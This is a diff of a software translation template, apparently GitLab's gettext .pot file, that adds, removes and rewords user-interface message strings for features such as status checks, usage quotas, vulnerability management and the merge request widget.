msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
